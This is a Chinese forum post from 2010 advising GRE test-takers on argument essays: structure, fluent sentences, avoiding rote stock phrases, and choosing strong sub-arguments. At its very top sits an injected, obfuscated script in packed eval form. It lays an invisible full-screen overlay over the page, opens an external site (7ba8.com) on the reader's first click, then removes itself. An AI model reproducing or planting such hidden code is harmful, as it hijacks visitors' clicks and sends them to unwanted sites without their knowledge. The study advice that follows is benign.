<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>看了icestory的帖子，他的意思是，现在出现那么多悲剧的原因，是因为我们不会独立思考。
其实我个人觉得现在的主要问题可能不是在于思维雷同，而更多的是其他方面的原因。
考GRE不是考你思维有多么与众不同，而是看你是否能够提出自己的思考，并最有说服力的去将别人给说服了。
你可以整一个很怪的思路，但你要说服别人才行；ETS不会讲究你的观点本身，只要不偏题全都OK（过于政治化得我不确定，不过应该不会有人在考试时冒这个险吧）；你整一个很俗的论点，和一个很非主流的论点，对ETS来讲都是同样得。但是，同样一个观点，写得好的人，和写得不行的人，在写作的说服力上却有很大的差别，这点我却是能够深切体会到，而这才是ETS要考察的重点。
所以最重要的是在于论证上面，我们现在很多人的问题其实是在套话上。讲的内容都是套话，有些甚至连套话放的地方都不对，这才是悲剧所在。
真的，我曾经改过一些人的文章，很多都自我感觉良好，觉得用的词汇有多么牛逼，但对我来讲，这根本就不是给人看的东西。。。有时嫌得麻烦我就直接叫他们把自己的作文翻译成中文再自己读一遍，看看有多么的啰嗦。。。我每年在2，3月份和暑假7，8都会有10多个左右的同学要我帮忙看作文，从06年开始，差不多已经有两三年时间了吧，而最近作文的啰嗦向和语言的不清晰程度却是越来越严重。以前是语言很生涩，那到还有救；但如果啰嗦成那样的话，那就真的没救了。。。。
给大家一个建议，多看些原版的英文素材，看看他们是如何表达的，多看看wiki，《The Economist》等，如果时间不够，就直接一本叫做《GRE写作论证论据素材大全》书，我仔细看过一遍，里面的内容都是摘自这些文章的精华内容！
那么对于论证段落来说，有哪些要点需要注意呢？
1. 结构清晰度，例子就是例子，论证就是论证，首句就是首句。你要保证人家能够眼睛一目十行就能理清楚你段落内的结构，而不是首句长的要命，例子论证混着写，看了半天也看不懂在说些什么。。。
2. 文字流畅度。对于这点，我可以说GRE阅读的那群XX一般的文章就是我们极力要避免的经典反例；谁***看得懂那种东西，那纯粹就是ETS为了折腾学生才写出来的句子。要是你也敢这么写的话，我是考官我就直接打0分，后面批文，“不知所云”。。。。所以长句尽量避免，没事儿别把文章写得那么WS让人看了三行还看不到句号而活活憋死；也别吝啬逗号，那是好东西，能够让人更容易理解你所阐述的内容。
3. 文字量水平。这里要注意三点，第一，单词不要写连自己都搞不清到底是啥意思的词，会闹笑话得。如果不会用，那么就宁愿别用，或者至少查过词典看过例句后再用；第二，单词尽量避免重复，也就是说，除了专有名词外，两行之内最好不要出现同样的名词形容词。至于后者，我个人的建议就是找一些关于常用词替代汇总的帖子，然后平常多用用，那样就OK了。第三，表达同样一个东西，如果英语里已经有现成的某种说法的话，那么就不要自己去造，因为结果基本上会显得很chinese english。至于怎么解决，那就只好靠积累了；当然如果时间实在是紧的话也可以不用太过在意，只会影响印象分而已，不会有太大其他方面的问题，前提是你最好写好文章后拿给别人看一遍，看是否看得懂你的这个chinese english说法，恩。。。
4. 论证内容。在这里我想同时说一下套话的使用方法，套话在刚开始整作文时是为了提高写作效率用得，有时也是一些好词好句。你们使用他们，但同时也要吸收进去，化为平常写作的日常用语，而不是永远的生搬硬套。也就是，支配语言，不要被语言给支配了。为什么我会这么说呢，因为我有时会发现一些同学写文章，文笔一般，但突然出现某一句话长得要命，而且看起来很华丽还和讨论内容没有一点关系。这时候我就知道，他又从哪里背来了整一段话直接抄上去了。记住一点，好的句子，我们可以用，但要将其吸收了才行。怎么吸收法？分析句子，为什么他漂亮，是句子结构漂亮，还是用了什么不错的词或短语，还是其他的原因？然后将其分解开来，化为一个个单独的经验，然后平常再多用上去用熟练了，这样子的话就能算作吸收成功了，也能够因此避免雷同出现。
5.分论点的切入点要好。这就好比辩论一样，你要说服别人，你举出理由1，2，3；理由好的，不用说太多话别人就服了，理由不好的，你说了半天人家也不会服气。可以说，分论点的选择在评分上也占了一定比例，如果你分论点选择的独特新颖，又特别的切合题目的话，那么加分就是必然得了，恩；当然如果你一下子找不着的话也没关系，可以参考现有的分论点，这并不算什么问题，我并不觉得这会牵涉到什么雷同之类来着。。。
6.论证的说服力问题。一个用套话堆出来的段落，和一个自己熟悉讨论内容，完全用自己语言一气呵成的段落，哪个别人看着会更舒畅，说服力更强？不用说肯定是后者吧~所以说写GRE作文不是堆句子，而是用自己的话去写出想要的内容。托福作文和GRE作文在要求上唯一的区别就是，后者题目更加深奥，需要你讨论更多的内容而已，其他都是不变得。。。所以如果你要得高分，除了上面需要的几个注意点外，更重要的就是，训练自己的思维水平！一个东西，有可能你会从这个角度去想，有可能你会从那个角度去想，我们不会说哪个角度孰对孰错，但其中还是会有容易论证和难以论证的问题。容易论证的东西，你自然可以说得更多，反之亦然。在这点上，我个人就希望大家能够多看别人的文章了，或者至少多看范文，学习一下他们的思路；而且对于这点，我希望大家能够多思考一件事情，碰到一个针对某道题目很有意思的思考角度，你除了进行学习外，还要想到，作者怎么会想到这点得？以后哪些题目也能够同样用上那个思路？
我就举个例子，某道题目是问“评论家好还是艺术家好”，我看到一个提纲，主要观点是认为评论家更重要，分论点是首先说的确艺术家是创造价值的主力；然后就开始说，但是艺术家创造的价值往往无法让世人接受；最后讲，评论家能够让别人理解艺术家创造的价值。好吧，也许还有人看不出来其中的好处，我就在此分析一下。很多人在写这道题目的时候，前面说到的那个第二第三个分论点，经常是和在一起说得，或者干脆就是第三个分论点然后里面掺着第二个分论点的意思。GRE作文通常要三个分论点，那么就会出现举了两个理由第三个想不出来的问题。而这个提纲里面，他将其分离化，一个只侧重于描述非主流艺术家的窘态，一个只侧重于描述评论家的好处，这样原先只能够写一段的内容就能够分成两段来写，而且两个分论点因为侧重点不同，所以不会出现论证重复的问题。那么如果我是初学者，我看到这个提纲了，最好的话就是先自己写一下这道题目，这样能够更加深刻理解；然后进行分析，为什么他好，这个我在上面已经说明完了；然后再想一下使用它可能会出现什么问题，那么其中的可能性就是因为两段都是讲艺术家得，而评论家只说明了一段，故讨论的字数分配上就要有很大的讲究，也许必须要正文第三段比前两段都要长得多才行；接下来想哪些题目适合，哪些不适合，这些我就不阐述了；最后进行总结，这么分析下来，以后再灵活运用之，这个套路就让你给学到手了~学习别人的写法，有时候也是很重要得呢~~
[ 本帖最后由 丢丢和拿拿 于 2010-10-19 22:44 编辑 ] |
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